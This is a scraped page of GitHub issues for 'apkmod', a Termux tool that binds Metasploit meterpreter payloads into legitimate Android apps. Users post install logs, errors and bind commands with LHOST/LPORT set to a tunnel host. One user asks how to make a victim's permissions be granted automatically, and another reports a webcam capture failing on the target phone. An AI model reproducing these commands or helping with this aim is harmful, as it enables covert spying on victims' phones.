hax4us / apkmod Goto Github PK
View Code? Open in Web Editor NEWApkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
License: GNU General Public License v3.0
Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
License: GNU General Public License v3.0
I can't decomple apps using apkmod.
See the screenshot below👇
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
sh setup.sh
[!] Alpine is already installed
Do you want to reinstall ? (type "y" for yes or "n" for no) : y
--2019-10-21 17:49:43-- https://raw.githubusercontent.com/Hax4us/TermuxAlpine/master/TermuxAlpine.sh
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5796 (5.7K) [text/plain]
Saving to: ‘TermuxAlpine.sh.2’
TermuxAlpine.s 100% 5.66K 8.67KB/s in 0.7s
2019-10-21 17:49:44 (8.67 KB/s) - ‘TermuxAlpine.sh.2’ saved [5796/5796]
[!] Alpine is already installed
Do you want to reinstall ? (type "y" for yes or "n" for no) : y
You are going to install Alpine in termux ;) Cool
press ENTER to continue
[] Checking host architecture ...
[] Updating apt cache...
[] Checking for all required tools...
• proot is OK
• bsdtar is OK
• curl is OK
[] Getting tar file...
[*] Getting SHA ...
#################################################### 100.0%
[] Checking integrity of file...
[] The script will immediately terminate in case of integrity failure
alpine-minirootfs-3.10.2-aarch64.tar.gz: FAILED
sha256sum: WARNING: 1 computed checksum did NOT match
Sorry :( to say your downloaded linux file was corrupted or half downloaded, but don't worry, just rerun my script
mkdir: cannot create directory ‘/data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind’: No such file or directory
proot warning: can't chdir("/home/.") in the guest rootfs: No such file or directory
proot info: default working directory is now "/"
proot error: '/usr/bin/env' not found (root = /data/data/com.termux/files/usr/share/TermuxAlpine, cwd = /, $PATH=(null))
fatal error: see proot --help
.
--2019-10-21 17:51:10-- https://github.com/hax4us/Apkmod/raw/master/aapt/aarch64/aapt.tar.gz
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/aapt/aarch64/aapt.tar.gz [following]
--2019-10-21 17:51:11-- https://raw.githubusercontent.com/hax4us/Apkmod/master/aapt/aarch64/aapt.tar.gz
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19148800 (18M) [application/octet-stream]
Saving to: ‘aapt.tar.gz’
aapt.tar.gz 100% 18.26M 144KB/s in 5m 14s
2019-10-21 17:56:28 (59.6 KB/s) - ‘aapt.tar.gz’ saved [19148800/19148800]
tar: /data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
mv: cannot stat '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib/android/aapt': No such file or directory
mv: cannot stat '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib/android/aapt2': No such file or directory
/data/data/com.termux/files/usr/share/TermuxAlpine/opt/apktool.jar: No such file or directory
--2019-10-21 17:56:28-- https://github.com/hax4us/Apkmod/raw/master/apkmod.sh
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/apkmod.sh [following]
--2019-10-21 17:56:29-- https://raw.githubusercontent.com/hax4us/Apkmod/master/apkmod.sh
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6360 (6.2K) [text/plain]
Saving to: ‘/data/data/com.termux/files/usr/bin/apkmod’
/data/data/com 100% 6.21K --.-KB/s in 0.02s
2019-10-21 17:56:30 (362 KB/s) - ‘/data/data/com.termux/files/usr/bin/apkmod’ saved [6360/6360]
chmod: cannot access '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/aapt': No such file or directory
chmod: cannot access '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/aapt2': No such file or directory
--2019-10-21 17:56:30-- https://github.com/hax4us/Apkmod/raw/master/scripts/apktool_termux.sh
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_termux.sh [following]
--2019-10-21 17:56:31-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_termux.sh
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 404 [text/plain]
Saving to: ‘apktool_termux.sh’
apktool_termux 100% 404 --.-KB/s in 0s
2019-10-21 17:56:32 (7.05 MB/s) - ‘apktool_termux.sh’ saved [404/404]
--2019-10-21 17:56:32-- https://github.com/hax4us/Apkmod/raw/master/scripts/apktool_alpine.sh
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_alpine.sh [following]
--2019-10-21 17:56:33-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_alpine.sh
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 99 [text/plain]
Saving to: ‘apktool_alpine.sh’
apktool_alpine 100% 99 --.-KB/s in 0s
2019-10-21 17:56:34 (1.83 MB/s) - ‘apktool_alpine.sh’ saved [99/99]
--2019-10-21 17:56:34-- https://github.com/hax4us/Apkmod/raw/master/scripts/apk.rb
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apk.rb [following]
--2019-10-21 17:56:34-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apk.rb
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10835 (11K) [text/plain]
Saving to: ‘apk.rb’
apk.rb 100% 10.58K --.-KB/s in 0.1s
2019-10-21 17:56:35 (110 KB/s) - ‘apk.rb’ saved [10835/10835]
mv: cannot move 'apktool_alpine.sh' to '/data/data/com.termux/files/usr/share/TermuxAlpine/bin/apktool': No such file or directory
--2019-10-21 17:56:35-- https://github.com/hax4us/Apkmod/raw/master/patches/msf-5.0.48/msfvenom.patch
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/msfvenom.patch [following]
--2019-10-21 17:56:36-- https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/msfvenom.patch
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 342 [text/plain]
Saving to: ‘msfvenom.patch’
msfvenom.patch 100% 342 --.-KB/s in 0s
2019-10-21 17:56:37 (7.28 MB/s) - ‘msfvenom.patch’ saved [342/342]
--2019-10-21 17:56:37-- https://github.com/hax4us/Apkmod/raw/master/patches/msf-5.0.48/payload_generator.rb.patch
Resolving github.com... 13.234.210.38
Connecting to github.com|13.234.210.38|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/payload_generator.rb.patch [following]
--2019-10-21 17:56:37-- https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/payload_generator.rb.patch
Resolving raw.githubusercontent.com... 151.101.8.133
Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 979 [text/plain]
Saving to: ‘payload_generator.rb.patch’
payload_genera 100% 979 --.-KB/s in 0s
2019-10-21 17:56:38 (18.9 MB/s) - ‘payload_generator.rb.patch’ saved [979/979]
$
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
hi, your work is awesome, your tool is running perfectly, but I have a question, is it possible this aapt2 in tools can run on kali ?
this is aapt2 (aarch64)
aapt2: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-aarch64.so.1, with debug_info, not stripped
I have tried to install the MUSL library on kali but still have errors when I run this aapt2.
this is error log
aapt2.log
Sorry for my bad English
cannot link executable "proot": library "libtalloc.so.2" not found
brother plz help me
if we install the payload without bind it with anouther apk we will get full access to the phone with automatically granting permissions
but when we bind payload into original apk we don't get the granted permissions automatic but it must the victim go to apk settings and manually allow the permisions
so my question ; what we need to change for get an automatic allowing the permissions after binding the payload ???
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Syntax error: "fi" unexpected (expecting "then") in line 88 apkmod
Problem description
WHEN Trying to build apk with apkmod its shows a error
$ apkmod -b /data/data/com.termux/files/home/com.fkarim.helicopter.apk -o /data/data/com.termux/files/home/hackheli.apk LHOST=Nishal-61661.portmap.io LPORT=61661 [*] Binding /data/data/com.termux/files/home/com.fkarim.helicopter.apk Using APK template: /data/data/com.termux/files/home/com.fkarim.helicopter.apk [*] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/original/AndroidManifest.xml [!] Try again with -a option But if still can't bind, take screenshot and open a issue on github
Steps to reproduce
Just bind a payload to an application.
Expected behavior
It will run smoothly.
Additional information
apkmod -b /data/data/com.termux/files/home/com.fkarim.helicopter.apk -o /data/data/com.termux/files/home/hackheli.apk LHOST=****** LPORT=****
Hello guys there's problem with apkmod it can decomplile nor binding
i dont know what is the problem
but im asking for help or for solution if possible
thanks
this is the picture of the issue :
https://filebin.net/3x9zh5qjy1bryr3m/Capture.PNG?t=0werp4u1
apkmod -b $HOME/heli.apk -o $HOME/hacks.apk LHOST=Nishal-61661.portmap.io LPORT=4444
[] Binding /data/data/com.termux/files/home/heli.apk
Using APK template: /data/data/com.termux/files/home/heli.apk
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.fkarim.helicopter.zjblp
[] Loading /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/original/smali/com/fkarim/helicopter/MainMenu.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding /data/data/com.termux/files/home/heli.apk with meterpreter injection as /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/output.apk
[] Signing /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/output.apk
Error: No such file or directory @ rb_sysopen - /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/signed.apk
[!] Try again with -a option
But if still can't bind, take screenshot and open a issue on github
when i want to decompile file apk i wrote this
apkmod -d /sdcard/notepad.apk -o /sdcard
every file and folder is deleted from sdcard and from $HOME termux
it stay only what is installed in phone and termux
!!!!!
[+] Copying APKs...
done.
[+] Decompiling APKs...
(standard_in) 1: syntax error
/data/data/com.termux/files/usr/bin/apkmod: line 118: [: 1: unary operator expected
[] Decompiling /data/data/com.termux/files/home/Linder/TempP/e.apk
Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found
[] Decompiled into /data/data/com.termux/files/home/Linder/TempP/e
(standard_in) 1: syntax error
/data/data/com.termux/files/usr/bin/apkmod: line 118: [: 1: unary operator expected
[] Decompiling /data/data/com.termux/files/home/Linder/TempP/payload.apk
Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found
[] Decompiled into /data/data/com.termux/files/home/Linder/TempP/payload
done.
[+] Copying payload smali codes to target apk...
cp: cannot stat 'payload/smali/com/': No such file or directory
done.
[+] Fetching Package Name & MainActivity smali location
ERROR OCCURED! EXITING...
[Errno 2] No such file or directory: 'e/AndroidManifest.xml'
Someone please educate me on this error
$ apkmod -d /storage/emulated/0/Minecraft_1.14.1.5.apk -o /storage/emulated/0/vivoDownloadEx
[] Decompiling /storage/emulated/0/Minecraft_1.14.1.5.apk
proot error: '/usr/bin/env' not found (root = /data/data/com.termux/files/usr/share/TermuxAlpine, cwd = /data/data/com.termux/files/home, $PATH=(null))
fatal error: see proot --help
.
[] Decompiled into /storage/emulated/0/vivoDownloadEx
The binded apk doesn't have all the payload permissions and if i use for example webcam_snap in msfconsole it says "Operation failed: 1" because the apk doesn't have that permission. Please fix this fast.
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
------> It still have issue when trying to recompile some apps after successfully decompiling them like Magisk Manager. There is an issue that prohibit the app from being recompiled successfully!
++++See the screenshot below 👇👇
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
what can i do now ? 🤒🤒🤒
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
storage permission not available mybinded
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
-------> I tried to recompile the app using aapt 2 binary and I need to use the command -a but it doesn't helped me, gives an error or no response at all.
-------> I entered like those Below 👇
Apkmod -r -a /path1 -o /path2.apk
Apkmod -a /path1 -o /path2.apk
Apkmod -a -r /path1 -o /path2.apk
-------> Also I have one question for u, Why you don't update the Apktool to the latest version 2.4.1 ? It still shows 2.4.0 on the console. If u updated it to 2.4.1 then why this happened?
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
After doing the install, it gives error 404 in msfvenom.patch and payload_generator
rb during receiving it from your github. I reinstall 3 times and nothing fixed. I even tried to execute the apkmod command with and without -a argument. It seems to be a little problem with missing files in your github, I hope this get solve soon, Thanks for this program by the way!
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
can't bind whatsapp apk
apkmod -b $HOME/app.apk -o $HOME LHOST=127.0.0.1 LPORT=1492
/data/data/com.termux/files/usr/bin/apkmod: line 132: bc: command not found
/data/data/com.termux/files/usr/bin/apkmod: line 132: [: 1: unary operator expected
[] Binding /data/data/com.termux/files/home/app.apk
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
Using APK template: /data/data/com.termux/files/home/app.apk
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Duser.home=/data/data/com.termux/files/home -Djava.io.tmpdir=/data/data/com.termux/files/usr/tmp
[] Binded to /data/data/com.termux/files/home
$
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
Problem description
A clear and concise description of what the problem is. You may post screenshots in addition to description.
###Can't install Alpine...... Just see the screenshots below for more detail.
Steps to reproduce
Steps to reproduce the behavior. Please post all necessary commands that are needed to reproduce the issue.
Expected behavior
A clear and concise description of what you expected to happen.
Additional information
termux-info
apkmod -v
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.